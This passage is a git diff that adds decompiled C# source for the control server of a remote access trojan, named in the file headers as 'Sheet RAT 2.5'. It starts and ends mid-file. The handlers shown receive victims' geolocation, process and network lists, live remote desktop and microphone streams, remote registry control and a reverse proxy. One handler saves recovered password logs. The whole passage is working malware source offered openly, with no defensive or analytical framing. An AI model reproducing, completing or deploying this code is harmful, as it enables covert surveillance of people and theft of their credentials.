gridViewTextBoxCell19 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell19.Value = (object) "rar archive"; + cells20.Add((DataGridViewCell) gridViewTextBoxCell19); + break; + case ".7z": + DataGridViewCellCollection cells21 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell20 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell20.Value = (object) "7 zip archive"; + cells21.Add((DataGridViewCell) gridViewTextBoxCell20); + break; + case ".txt": + DataGridViewCellCollection cells22 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell21 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell21.Value = (object) "text document"; + cells22.Add((DataGridViewCell) gridViewTextBoxCell21); + break; + case ".doc": + case ".docx": + DataGridViewCellCollection cells23 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell22 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell22.Value = (object) "word document"; + cells23.Add((DataGridViewCell) gridViewTextBoxCell22); + break; + case ".pdf": + DataGridViewCellCollection cells24 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell23 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell23.Value = (object) "Adobe Acrobat document"; + cells24.Add((DataGridViewCell) gridViewTextBoxCell23); + break; + case ".csv": + DataGridViewCellCollection cells25 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell24 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell24.Value = (object) "excel document"; + cells25.Add((DataGridViewCell) gridViewTextBoxCell24); + break; + case ".bat": + DataGridViewCellCollection cells26 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell25 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell25.Value = (object) "script bat"; + cells26.Add((DataGridViewCell) gridViewTextBoxCell25); + break; + case ".cmd": + DataGridViewCellCollection cells27 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell26 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell26.Value = (object) "script cmd"; + cells27.Add((DataGridViewCell) gridViewTextBoxCell26); + break; + case ".vbs": + DataGridViewCellCollection cells28 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell27 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell27.Value = (object) "visual basic script"; + cells28.Add((DataGridViewCell) gridViewTextBoxCell27); + break; + case ".ps1": + DataGridViewCellCollection cells29 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell28 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell28.Value = (object) "powershell script"; + cells29.Add((DataGridViewCell) gridViewTextBoxCell28); + break; + case ".cs": + DataGridViewCellCollection cells30 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell29 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell29.Value = (object) "CSharp"; + cells30.Add((DataGridViewCell) gridViewTextBoxCell29); + break; + case ".cpp": + DataGridViewCellCollection cells31 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell30 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell30.Value = (object) "C++"; + cells31.Add((DataGridViewCell) gridViewTextBoxCell30); + break; + case ".py": + DataGridViewCellCollection cells32 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell31 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell31.Value = (object) "Python"; + cells32.Add((DataGridViewCell) gridViewTextBoxCell31); + break; + case ".php": + DataGridViewCellCollection cells33 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell32 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell32.Value = (object) "web php"; + cells33.Add((DataGridViewCell) gridViewTextBoxCell32); + break; + case ".html": + DataGridViewCellCollection cells34 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell33 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell33.Value = (object) "web html"; + cells34.Add((DataGridViewCell) gridViewTextBoxCell33); + break; + case ".js": + DataGridViewCellCollection cells35 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell34 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell34.Value = (object) "web javascript"; + cells35.Add((DataGridViewCell) gridViewTextBoxCell34); + break; + case ".css": + DataGridViewCellCollection cells36 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell35 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell35.Value = (object) "web styles"; + cells36.Add((DataGridViewCell) gridViewTextBoxCell35); + break; + case ".sln": + DataGridViewCellCollection cells37 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell36 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell36.Value = (object) "Visual Studio Project"; + cells37.Add((DataGridViewCell) gridViewTextBoxCell36); + break; + default: + DataGridViewCellCollection cells38 = dataGridViewRow.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell37 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell37.Value = (object) "unknown"; + cells38.Add((DataGridViewCell) gridViewTextBoxCell37); + break; + } + files.Add(dataGridViewRow); + } + } + return files; + } +} +} diff --git a/Server/Server/Message/HandlerMap.cs b/Server/Server/Message/HandlerMap.cs new file mode 100644 index 0000000..700819f --- /dev/null +++ b/Server/Server/Message/HandlerMap.cs @@ -0,0 +1,68 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerMap +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using GMap.NET; +using GMap.NET.WindowsForms; +using GMap.NET.WindowsForms.Markers; +using Server.Connection; +using Server.Forms; +using Server.Helper.Configs; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerMap +{ + public HandlerMap(Clients client, string[] Messages) + { + FormMap maps = (FormMap) Application.OpenForms["Map:" + Messages[1]]; + double lat = double.Parse(Messages[2].Replace(".", ",")); + double lng = double.Parse(Messages[3].Replace(".", ",")); + if (maps == null) + Map.AddBD(new Map() + { + lat = lat, + lng = lng, + hwid = Messages[1], + info = Messages[4] + }); + else if (Messages[2] == "null") + { + Program.form.Invoke((MethodInvoker) (() => maps.Close())); + } + else + { + lock (maps) + { + if (maps.Text.Contains(Messages[1])) + { + client.Disconnected(); + return; + } + PointLatLng point = new PointLatLng(lat, lng); + GMapMarker gmapMarker = (GMapMarker) new GMarkerGoogle(point, GMarkerGoogleType.green); + gmapMarker.Position = point; + GMapOverlay markers = new GMapOverlay("MyHome"); + markers.Markers.Add(gmapMarker); + maps.Invoke((MethodInvoker) (() => + { + FormMap formMap = maps; + formMap.Text = $"{formMap.Text}: {Messages[1]} lng:{lng.ToString()} lat:{lat.ToString()} {Messages[4]}"; + maps.gMapControl1.Overlays.Add(markers); + maps.gMapControl1.Position = point; + maps.gMapControl1.ShowCenter = false; + maps.timer1.Start(); + maps.Refresh(); + })); + } + } + client.Disconnected(); + } +} +} diff --git a/Server/Server/Message/HandlerMessageReturn.cs b/Server/Server/Message/HandlerMessageReturn.cs new file mode 100644 index 0000000..2f07444 --- /dev/null +++ b/Server/Server/Message/HandlerMessageReturn.cs @@ -0,0 +1,27 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerMessageReturn +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerMessageReturn +{ + public HandlerMessageReturn(Clients client, string[] Messages) + { + FormMessage CT = (FormMessage) Application.OpenForms["Message:" + client.ID]; + if (CT == null) + client.Disconnected(); + else + CT.Invoke((MethodInvoker) (() => CT.MessageBox_Return.Text = "Return: " + ((DialogResult) Convert.ToUInt32(Messages[1])).ToString())); + } +} +} diff --git a/Server/Server/Message/HandlerNetstatlist.cs b/Server/Server/Message/HandlerNetstatlist.cs new file mode 100644 index 0000000..70ff247 --- /dev/null +++ b/Server/Server/Message/HandlerNetstatlist.cs @@ -0,0 +1,65 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerNetstatlist +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerNetstatlist +{ + public HandlerNetstatlist(Clients client, string[] Messages) + { + FormNetStat CT = (FormNetStat) Application.OpenForms["Netstat:" + client.ID]; + if (CT == null) + { + client.Disconnected(); + } + else + { + List licst = new List(); + string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])); + string[] separator1 = new string[1]{ "<++>" }; + foreach (string str2 in str1.Split(separator1, StringSplitOptions.None)) + { + string[] separator2 = new string[1]{ "<@>" }; + string[] strArray = str2.Split(separator2, StringSplitOptions.None); + DataGridViewRow dataGridViewRow1 = new DataGridViewRow(); + dataGridViewRow1.Tag = (object) strArray[0]; + DataGridViewRow dataGridViewRow2 = dataGridViewRow1; + DataGridViewCellCollection cells1 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) strArray[0]; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) strArray[1]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) strArray[2]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells4 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) strArray[3]; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + licst.Add(dataGridViewRow2); + } + CT.Invoke((MethodInvoker) (() => + { + CT.metroGrid1.Rows.Clear(); + CT.metroGrid1.Rows.AddRange(licst.ToArray()); + })); + } + } +} +} diff --git a/Server/Server/Message/HandlerPing.cs b/Server/Server/Message/HandlerPing.cs new file mode 100644 index 0000000..e3f9816 --- /dev/null +++ b/Server/Server/Message/HandlerPing.cs @@ -0,0 +1,24 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerPing +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerPing +{ + public HandlerPing(Clients client, string[] Messages) + { + client.LastPiy = DateTime.Now; + if (!client.Connect || client.Item == null) + return; + client.Send((object) "Pong"); + } +} +} diff --git a/Server/Server/Message/HandlerPong.cs b/Server/Server/Message/HandlerPong.cs new file mode 100644 index 0000000..25016e0 --- /dev/null +++ b/Server/Server/Message/HandlerPong.cs @@ -0,0 +1,31 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerPong +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using System; +using System.Windows.Forms; +using System.Drawing; + +//#nullable disable +namespace Server.Message { + +internal class HandlerPong +{ + public HandlerPong(Clients client, string[] Messages) + { + client.LastPiy = DateTime.Now; + if (client.Item == null || !client.Connect) + return; + client.Item.Cells[21].Value = (object) Messages[1]; + if (Convert.ToInt32(Messages[1]) > 600) + client.Item.Cells[21].Style.ForeColor = Color.Red; + else if (Convert.ToInt32(Messages[1]) > 300) + client.Item.Cells[21].Style.ForeColor = Color.Orange; + else + client.Item.Cells[21].Style.ForeColor = Color.Green; + } +} +} diff --git a/Server/Server/Message/HandlerProcesses.cs b/Server/Server/Message/HandlerProcesses.cs new file mode 100644 index 0000000..52250f6 --- /dev/null +++ b/Server/Server/Message/HandlerProcesses.cs @@ -0,0 +1,65 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerProcesses +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerProcesses +{ + public HandlerProcesses(Clients client, string[] Messages) + { + FormTaskMgr CT = (FormTaskMgr) Application.OpenForms["TaskMgr:" + client.ID]; + if (CT == null) + { + client.Disconnected(); + } + else + { + List licst = new List(); + string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(Messages[1])); + string[] separator1 = new string[1]{ "<++>" }; + foreach (string str2 in str1.Split(separator1, StringSplitOptions.None)) + { + string[] separator2 = new string[1]{ "<@>" }; + string[] strArray = str2.Split(separator2, StringSplitOptions.None); + DataGridViewRow dataGridViewRow1 = new DataGridViewRow(); + dataGridViewRow1.Tag = (object) strArray[1]; + DataGridViewRow dataGridViewRow2 = dataGridViewRow1; + DataGridViewCellCollection cells1 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) strArray[0]; + cells1.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells2 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) strArray[1]; + cells2.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells3 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) strArray[2]; + cells3.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells4 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) strArray[3]; + cells4.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells5 = dataGridViewRow2.Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) strArray[4]; + cells5.Add((DataGridViewCell) gridViewTextBoxCell5); + licst.Add(dataGridViewRow2); + } + CT.Invoke((MethodInvoker) (() => CT.metroGrid1.Rows.AddRange(licst.ToArray()))); + } + } +} +} diff --git a/Server/Server/Message/HandlerProxy.cs b/Server/Server/Message/HandlerProxy.cs new file mode 100644 index 0000000..60898ba --- /dev/null +++ b/Server/Server/Message/HandlerProxy.cs @@ -0,0 +1,73 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerProxy +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using Server.ReverseProxy; +using System; +using System.Windows.Forms; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerProxy +{ + public HandlerProxy(Clients client, string[] args) + { + FormReverseProxy Proxy = (FormReverseProxy) Application.OpenForms["ReverseProxy:" + args[2]]; + if (Proxy == null) + { + client.Disconnected(); + } + else + { + switch (args[1]) + { + case "ReverseProxyConnectResponse": + ReverseProxyClient clientByConnectionId1 = Proxy._socksServer.GetClientByConnectionId(Convert.ToInt32(args[3])); + if (clientByConnectionId1 == null) + break; + if (clientByConnectionId1.Handle.Connected) + { + clientByConnectionId1.HandleCommandResponse(args, client); + break; + } + clientByConnectionId1.Disconnect(); + break; + case "ReverseProxyData": + ReverseProxyClient clientByConnectionId2 = Proxy._socksServer.GetClientByConnectionId(Convert.ToInt32(args[3])); + if (clientByConnectionId2 == null) + break; + if (clientByConnectionId2.Handle.Connected) + { + clientByConnectionId2.SendToClient(Convert.FromBase64String(args[4])); + break; + } + clientByConnectionId2.Disconnect(); + break; + case "ReverseProxyDisconnect": + Proxy._socksServer.GetClientByConnectionId(Convert.ToInt32(args[3]))?.Disconnect(); + break; + case "SetPlugin": + Proxy.Invoke((MethodInvoker) (() => + { + Proxy.Name = "ReverseProxy:" + args[2]; + Proxy.Text = "ReverseProxy:" + args[2]; + Proxy.plugin = client; + Proxy.timer1.Start(); + Proxy.CheckProxyConnecting.Start(); + Proxy.Refresh(); + if (!Proxy.metroCheckBox1.Checked) + return; + Proxy.metroButton1.PerformClick(); + })); + break; + } + } + } +} +} diff --git a/Server/Server/Message/HandlerRecovery.cs b/Server/Server/Message/HandlerRecovery.cs new file mode 100644 index 0000000..2e4164d --- /dev/null +++ b/Server/Server/Message/HandlerRecovery.cs @@ -0,0 +1,29 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerRecovery +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerRecovery +{ + public HandlerRecovery(Clients client, byte[] Messages) + { + string path = $"Users\\{client.ID}\\Log{DateTime.Now.ToString("M_dd_yyyy HH_mm")}.zip"; + File.WriteAllBytes(path, Messages); + lonc.UnZip(path); + File.Delete(path); + HandlerLogs handlerLogs = new HandlerLogs(client.Ip, "Password save path: " + path.Replace(".zip", ""), Color.GreenYellow); + client.Disconnected(); + } +} +} diff --git a/Server/Server/Message/HandlerRecoveryNAudio.cs b/Server/Server/Message/HandlerRecoveryNAudio.cs new file mode 100644 index 0000000..5bce895 --- /dev/null +++ b/Server/Server/Message/HandlerRecoveryNAudio.cs @@ -0,0 +1,35 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerRecoveryNAudio +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerRecoveryNAudio +{ + public HandlerRecoveryNAudio(Clients client, string[] Messages) + { + FormRemoteMicrophone audiorecord = (FormRemoteMicrophone) Application.OpenForms["Microphone:" + client.ID]; + if (audiorecord == null) + client.Disconnected(); + else + audiorecord.Invoke((MethodInvoker) (() => + { + byte[] numArray = Convert.FromBase64String(Messages[1]); + if (audiorecord.bufferedWaveProvider == null) + return; + audiorecord.bufferedWaveProvider.AddSamples(numArray, 0, ((IEnumerable) numArray).Count()); + })); + } +} +} diff --git a/Server/Server/Message/HandlerRefreshStatus.cs b/Server/Server/Message/HandlerRefreshStatus.cs new file mode 100644 index 0000000..757cfe0 --- /dev/null +++ b/Server/Server/Message/HandlerRefreshStatus.cs @@ -0,0 +1,64 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerRefreshStatus +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs; +using System; +using System.Windows.Forms; +using System.Drawing; +using System.IO; + +//#nullable disable +namespace Server.Message { + +internal class HandlerRefreshStatus +{ + public HandlerRefreshStatus(Clients client, string[] Messages) + { + client.LastPiy = DateTime.Now; + client.Window = Messages[1]; + if (client.Item == null || !client.Connect) + return; + int int32_1 = Convert.ToInt32(Messages[3].Split(' ')[0]); + int int32_2 = Convert.ToInt32(Messages[4].Split(' ')[0]); + Color color1 = Color.Lime; + Color color2 = Color.Lime; + if (int32_1 > 80 /*0x50*/) + color1 = Color.Red; + else if (int32_1 > 60) + color1 = Color.Yellow; + else if (int32_1 > 40) + color1 = Color.Green; + if (int32_2 > 60) + color2 = Color.Red; + else if (int32_2 > 40) + color2 = Color.Yellow; + else if (int32_2 > 20) + color2 = Color.Green; + Image image; + try + { + using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(Messages[2]))) + image = Image.FromStream((Stream) memoryStream); + } + catch + { + image = (Image) new Bitmap(50, 50); + } + client.Item.Cells[22].Style = Methods.CellStyleWindows(Messages[1]); + client.Item.Cells[22].Value = (object) Messages[1]; + client.Item.Cells[14].Value = (object) Messages[3]; + client.Item.Cells[15].Value = (object) Messages[4]; + client.Item.Cells[14].Style.ForeColor = color1; + client.Item.Cells[14].Style.SelectionForeColor = color1; + client.Item.Cells[15].Style.ForeColor = color2; + client.Item.Cells[15].Style.SelectionForeColor = color2; + client.Item.Cells[0].Value = (object) image; + AutoTaskM.StartTrigger(client, true, false); + } +} +} diff --git a/Server/Server/Message/HandlerRegManager.cs b/Server/Server/Message/HandlerRegManager.cs new file mode 100644 index 0000000..30adecb --- /dev/null +++ b/Server/Server/Message/HandlerRegManager.cs @@ -0,0 +1,164 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerRegManager +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Microsoft.Win32; +using ProtoBuf; +using Server.Connection; +using Server.Forms; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerRegManager +{ + public HandlerRegManager(Clients client, string[] Messages) + { + string message1 = Messages[1]; + if (message1 == "DeleteValue") + { + FormRegedit FM1 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM1 == null) + return; + string keyPath1 = Messages[2]; + string ValueName = Messages[3]; + FM1.Invoke((MethodInvoker) (() => FM1.DeleteValue(keyPath1, ValueName))); + } + else if (message1 == "RenameValue") + { + FormRegedit FM2 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM2 == null) + return; + string keyPath2 = Messages[2]; + string OldValueName = Messages[3]; + string NewValueName = Messages[4]; + FM2.Invoke((MethodInvoker) (() => FM2.RenameValue(keyPath2, OldValueName, NewValueName))); + } + else if (message1 == "setClient") + { + client.ID = Messages[2]; + FormRegedit FM3 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM3 == null || FM3.Client != null) + return; + string rootKey = Messages[3]; + byte[] Matchesbyte = Convert.FromBase64String(Messages[4]); + FM3.Invoke((MethodInvoker) (() => + { + FM3.Client = client; + FM3.timer1.Enabled = true; + FormRegedit formRegedit = FM3; + formRegedit.Text = string.Format("{0}: {1}", formRegedit.Text, client.ID); + FM3.AddKeys(rootKey, HandlerRegManager.DeSerializeMatches(Matchesbyte)); + FM3.Refresh(); + })); + } + else if (message1 == "LoadKey") + { + FormRegedit FM4 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM4 == null) + return; + FM4.Invoke((MethodInvoker) (() => FM4.AddKeys(Messages[2], HandlerRegManager.DeSerializeMatches(Convert.FromBase64String(Messages[3]))))); + } + else if (message1 == "DeleteKey") + { + FormRegedit FM5 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM5 == null) + return; + FM5.Invoke((MethodInvoker) (() => FM5.DeleteKey(Messages[2], Messages[3]))); + } + else if (message1 == "CreateValue") + { + FormRegedit FM6 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM6 == null) + return; + string keyPath3 = Messages[2]; + string message2 = Messages[3]; + string message3 = Messages[4]; + RegistryValueKind registryValueKind = RegistryValueKind.None; + switch (message2) + { + case "-1": + registryValueKind = RegistryValueKind.None; + break; + case "0": + registryValueKind = RegistryValueKind.Unknown; + break; + case "1": + registryValueKind = RegistryValueKind.String; + break; + case "11": + registryValueKind = RegistryValueKind.QWord; + break; + case "2": + registryValueKind = RegistryValueKind.ExpandString; + break; + case "3": + registryValueKind = RegistryValueKind.Binary; + break; + case "4": + registryValueKind = RegistryValueKind.DWord; + break; + case "7": + registryValueKind = RegistryValueKind.MultiString; + break; + } + FM6.Invoke((MethodInvoker) (() => FM6.CreateValue(keyPath3, new RegistrySeeker.RegValueData() + { + Name = message3, + Kind = registryValueKind, + Data = new byte[0] + }))); + } + else if (message1 == "RenameKey") + { + FormRegedit FM7 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM7 == null) + return; + FM7.Invoke((MethodInvoker) (() => FM7.RenameKey(Messages[2], Messages[3], Messages[4]))); + } + else if (message1 == "CreateKey") + { + FormRegedit FM8 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM8 == null) + return; + FM8.Invoke((MethodInvoker) (() => FM8.CreateNewKey(Messages[2], HandlerRegManager.DeSerializeMatch(Convert.FromBase64String(Messages[3]))))); + } + else if (message1 == "ChangeValue") + { + FormRegedit FM9 = (FormRegedit) Application.OpenForms["remoteRegedit:" + client.ID]; + if (FM9 == null) + return; + string keyPath4 = Messages[2]; + byte[] RegValueDatabyte = Convert.FromBase64String(Messages[3]); + FM9.Invoke((MethodInvoker) (() => FM9.ChangeValue(keyPath4, HandlerRegManager.DeSerializeRegValueData(RegValueDatabyte)))); + } + } + + public static RegistrySeeker.RegSeekerMatch[] DeSerializeMatches(byte[] bytes) + { + using (MemoryStream source = new MemoryStream(bytes)) + return Serializer.Deserialize((Stream) source); + } + + public static RegistrySeeker.RegSeekerMatch DeSerializeMatch(byte[] bytes) + { + using (MemoryStream source = new MemoryStream(bytes)) + return Serializer.Deserialize((Stream) source); + } + + public static RegistrySeeker.RegValueData DeSerializeRegValueData(byte[] bytes) + { + using (MemoryStream source = new MemoryStream(bytes)) + return Serializer.Deserialize((Stream) source); + } +} +} + + diff --git a/Server/Server/Message/HandlerRemoteDesktop.cs b/Server/Server/Message/HandlerRemoteDesktop.cs new file mode 100644 index 0000000..392cf5a --- /dev/null +++ b/Server/Server/Message/HandlerRemoteDesktop.cs @@ -0,0 +1,73 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerRemoteDesktop +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using Server.Connection; +using Server.Forms; +using Server.Helper; +using System; +using System.Windows.Forms; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Message { + +internal class HandlerRemoteDesktop +{ + public HandlerRemoteDesktop(Clients client, string[] Messages) + { + FormRemoteDesktop RD = (FormRemoteDesktop) Application.OpenForms["RemoteDesktop:" + client.ID]; + if (RD == null) + client.Disconnected(); + else + RD.Invoke((MethodInvoker) (() => + { + try + { + byte[] buffer = Convert.FromBase64String(Messages[1]); + lock (RD.syncPicbox) + { + using (MemoryStream memoryStream = new MemoryStream(buffer)) + { + Image image = Image.FromStream((Stream) memoryStream); + RD.GetImage = image; + RD.rdSize = image.Size; + } + RD.pictureBox1.Image = RD.GetImage; + ++RD.FPS; + if (RD.sw.ElapsedMilliseconds < 1000L) + return; + FormRemoteDesktop formRemoteDesktop = RD; + string[] strArray = new string[10]; + strArray[0] = "RemoteDesktop: "; + strArray[1] = client.ID; + strArray[2] = " FPS:"; + int num = RD.FPS; + strArray[3] = num.ToString(); + strArray[4] = " Screen:"; + num = RD.GetImage.Width; + strArray[5] = num.ToString(); + strArray[6] = " x "; + num = RD.GetImage.Height; + strArray[7] = num.ToString(); + strArray[8] = " Size:"; + strArray[9] = Methods.BytesToString((long) buffer.Length); + string str = string.Concat(strArray); + formRemoteDesktop.Text = str; + RD.FPS = 0; + RD.sw = Stopwatch.StartNew(); + RD.Refresh(); + } + } + catch + { + } + })); + } +} +} diff --git a/Server/Server/Message/HandlerScheduler.cs b/Server/Server/Message/HandlerScheduler.cs new file mode 100644 index 0000000..7c91dbf --- /dev/null +++ b/Server/Server/Message/HandlerScheduler.cs @@ -0,0 +1,115 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Message.HandlerScheduler +// Assembly: Server, Version=1.0.0.0, Culture=neutral, 